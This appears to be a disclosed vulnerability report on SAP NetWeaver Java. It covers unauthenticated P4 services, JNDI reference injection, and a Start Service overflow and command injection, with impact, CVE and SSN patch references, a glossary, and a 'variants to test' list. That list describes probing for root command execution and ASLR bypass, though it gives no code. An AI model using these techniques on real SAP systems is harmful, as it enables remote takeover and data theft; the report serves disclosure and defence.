  • P4 services: methods on RFCRuntimeInterface_Stub, SearchFacade, LockinRuntimeInterface_Stub and the Agent Simulation service were reachable without authentication or authorisation. In SearchFacade the base query was built dynamically from unsanitised input before variables were bound, so prepared statements did not help. In Locking, the file read ran with <sid>adm privileges and no file-type restriction. In Agent Simulation, collector parameters (content type, URL, metric parameters) were passed into HTTP requests and command lines without validation, and the wrapper let an unauthenticated caller choose the collector class and its parameters.
  • JNDI: getNode() passed caller-controlled nodeName into redirect(), which performed a raw JNDI lookup, so the prefix mechanism became an injection point. The EJBObjectFactory gadget then called startApp() on an application name taken from the reference, before any authorisation check.
  • Start Service: SendRequest/SendRequestAsync mishandled a parameter, producing a stack overflow in a binary built without canary, PIE or RELRO; GetHwConfText leaked libc and RIP, defeating ASLR. ConfigureOutsideDiscovery placed a parameter into an mv command line run as root.

In one sentence: the programs trusted input from the network, and the machines were built without the safety nets that would have limited the damage.

Impact

An unauthenticated remote attacker can read and exfiltrate arbitrary OS files and database tables, register the target in arbitrary ABAP Gateways, execute RFC functions, recover plain JCo passwords, leak technical information, perform SSRF, disrupt services, and achieve RCE on Windows through the EventLogServiceCollector. On the Portal, arbitrary stopped applications can be started anonymously, which matters where vulnerable applications were disabled rather than patched. Chained through SolMan, the SSRF and header injection reach the local Start Service and yield root or nt authority/system on every managed satellite. The P4 components are shared by almost every SAP Java based solution, so almost every company with an SAP implementation is likely affected.

Fix

SAP security patches referenced for these findings include SSN 3268093 (CVE-2023-0017), SSN 3273480 (CVE-2022-41272), SSN 3252433 (CVE-2023-23857), SSN 3352058 (CVE-2023-36925), SSN 3348145 (CVE-2023-36921), SSN 3305369 (CVE-2023-27497), SSN 3289994 (CVE-2023-28761), SSN 3275727 (CVE-2023-27498) and SSN 3285757 (CVE-2023-24523). The Start Service had earlier been hardened with the service/protectedwebmethods parameter (SSN 1439348) to require authentication for almost all functions. Beyond patching, the paper's point is that less critical flaws must be tracked because they chain: disabling a vulnerable application instead of patching it leaves a target for the JNDI start-app vector.

Variants to test

  1. Other P4 services: repeat the enumerate, interface, log, analyse loop on the remaining services. A positive result is a method callable without credentials that returns data or changes state.
  2. Other connectors and redirectors: try each prefix from the standard table with an RMI URL. A positive result is JRMIK bytes at your listener.
  3. getSelectedPathTree(): use it as the entry point instead of getNavigationTree(). A positive result is the same lookup reaching your server.
  4. IIOP resolver: replace RMI with IIOP in the lookup. A positive result is a connection from the target to your IIOP listener.
  5. EJB resolver without reverse connection: encode EJB characteristics in the looked-up name. A positive result is a stopped application starting with no outbound connection.
  6. Other collectors: test the roughly 90 com.sap.smd.mai.collector classes for parameters that reach HTTP requests or command lines. A positive result is a request or command you control arriving at your listener or in logs.
  7. Start Service locally: call GetHwConfText and check for the saposcol process status line; a positive result is a RIP value you can use to compute the libc base.
  8. ConfigureOutsideDiscovery: inject into the parameter used by mv. A positive result is your command running as root in the dev_saphostexec trace.

Glossary

  • ABAP: SAP's own programming language and the older of the two NetWeaver stacks.
  • API: Application Programming Interface, the agreed set of functions one program offers to another.
  • ASLR: address space layout randomisation, a defence that shuffles memory addresses to make exploitation harder.
  • Binary: a compiled program file.
  • Blind: an attack where the attacker cannot see the result directly and must infer it.
  • Buffer overflow: writing more data into a fixed-size memory space than it can hold, spilling into neighbouring memory.
  • Calling stack: the list of functions currently in progress.
  • Canary: a small random value placed on the stack to detect overflows.
  • Class: a blueprint for an object in object-oriented programming.
  • Classpath: the list of places the JVM looks for classes.
  • Command injection: slipping extra shell commands into a value that is later pasted into a command line.
  • Connector: a component that fetches content from somewhere.
  • Container: the part of a server that hosts applications.
  • Cookie: a small piece of data a website stores in your browser to remember you.
  • CORBA: an older, language-independent standard for calling objects across a network.
  • CVE: a public catalogue number for a known vulnerability.
  • CVSS: a 0 to 10 score of vulnerability severity.
  • Daemon: a background program on UNIX that runs without a user in front of it.
  • Database: an organised store of data, made of tables.
  • Deserialisation: turning stored or transmitted data back into a live object in memory.
  • DoS: denial of service, making a service unusable for legitimate users.
  • EJB: Enterprise JavaBeans, a Java standard for server-side business components.
  • Endpoint: a specific address on a server that accepts requests.
  • Enqueue Server: the SAP component that hands out locks.
  • Exfiltration: stealing data out of a system.
  • Exploit: the action that abuses a vulnerability.
  • Gadget: an existing piece of code that, reached in an unexpected way, does something useful to an attacker.
  • GET / POST: the two most common HTTP methods; GET asks for something, POST sends data in the body.
  • Header: a line of metadata at the top of an HTTP request or response.
  • HTTP: the language of the web.
  • HTTP header injection: slipping extra header lines into a web request.
  • ICM: Internet Communication Manager, the SAP component that handles HTTP and other network traffic.
  • IIOP: the internet version of CORBA's protocol.
  • Instance: a live copy of an object in memory.
  • Interface: a list of methods an object promises to provide.
  • Jar file: a zip file full of Java code.
  • Java: a programming language that runs on almost any computer.
  • Jco: the Java connector library for SAP RFC calls.
  • JDB: Java's built-in debugger.
  • JEA: Java Endpoint Analyzer, an internal Onapsis tool that lists HTTP endpoints and whether they need authentication.
  • JNDI: Java Naming and Directory Interface, a way for Java programs to fetch resources by name.
  • JVM: Java Virtual Machine, the program that runs Java code.
  • libc: the standard C library on Linux, containing useful functions such as system.
  • LPE: local privilege escalation, becoming a more powerful user from a small foothold.
  • Magic bytes: a fixed sequence of bytes a protocol sends at the start of a connection to identify itself.
  • Masking: showing **** instead of a password on screen, which is only cosmetic.
  • Method: a function belonging to an object.
  • Namespace: a grouping name for a set of related functions.
  • NetWeaver: SAP's shared technical foundation, delivered as ABAP and JAVA stacks.
  • NX: no-execute, a defence that marks some memory as not runnable.
  • Object: a live thing in a program, created from a class.
  • OS command: a command run by the operating system itself.
  • Package: a folder-like grouping of related Java classes.
  • P4: SAP's proprietary protocol based on RMI and CORBA, listening on port 5NN04.
  • Phishing: tricking a person into trusting a message.
  • PIE: position-independent executable, a defence that randomises where a program loads.
  • Plain: not encrypted.
  • Port: a numbered door on a server that a program listens at.
  • Pre-auth: before any login, so with no credentials.
  • Prepared statement: a safe way to build a database query by filling blanks separately.
  • Privilege escalation: gaining more power on a system than you started with.
  • Proxy: a stand-in object that forwards calls to a real object elsewhere.
  • Query: a question asked of a database, written in SQL.
  • RCE: remote code execution, making a server run commands of your choosing.
  • Reference injection: making JNDI fetch a resource from a place the attacker controls.
  • RELRO: a defence that protects some memory tables from being overwritten.
  • Remote / local: from another computer over the network / from the same computer.
  • Repository: a place holding definitions, here of RFC functions.
  • Resolver: the part of JNDI that knows how to talk to one particular provider.
  • ret: the instruction that returns from a function by jumping to an address on the stack.
  • ret2libc: redirecting execution to a function already in libc, such as system.
  • RFC: Remote Function Call, SAP's way for one system to call a function in another.
  • RIP / RSP: CPU registers holding the next instruction address / the top of the stack.
  • RMI: Remote Method Invocation, Java's way of calling a function on another computer.
  • Root: the all-powerful administrator account on Linux and UNIX; on Windows, nt authority/system.
  • Satellite: a managed SAP system connected to SolMan.
  • Script: a small program written to automate a task.
  • Secure Storage (SSFS): a file where SAP keeps passwords encrypted.
  • Servlet: a small Java program that runs on a web server and answers HTTP requests.
  • SMDAgent: Solution Manager Diagnostic Agent, a helper installed on each SAP server for monitoring.
  • SOAP: a way of sending a request over HTTP in a structured envelope.
  • SolMan: SAP Solution Manager, the central management system for an SAP landscape.
  • SPI: Service Provider Interface, the part of JNDI that handles connections to providers.
  • SQL injection: tricking a database query into running extra commands by slipping them into a value.
  • SSN: SAP Security Note, SAP's numbered patch announcement.
  • SSRF: server-side request forgery, making the server send a request to a destination of the attacker's choosing.
  • Stack: the region of memory used for temporary data and return addresses.
  • Static / dynamic analysis: reading code without running it / running it and watching.
  • String: text.
  • Telnet: a very old way of typing commands into a remote machine.
  • Unsanitised: not cleaned or checked.
  • Vulnerability: a mistake in a program that lets someone make it behave unexpectedly.
  • White-box: testing with access to the program's files and code.
  • Wrapper: a thin layer that passes a request on to something else.
  • XSS: cross-site scripting, a class of web bug where attacker text runs in someone else's browser (mentioned here only as a general concept).

More from SAP

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.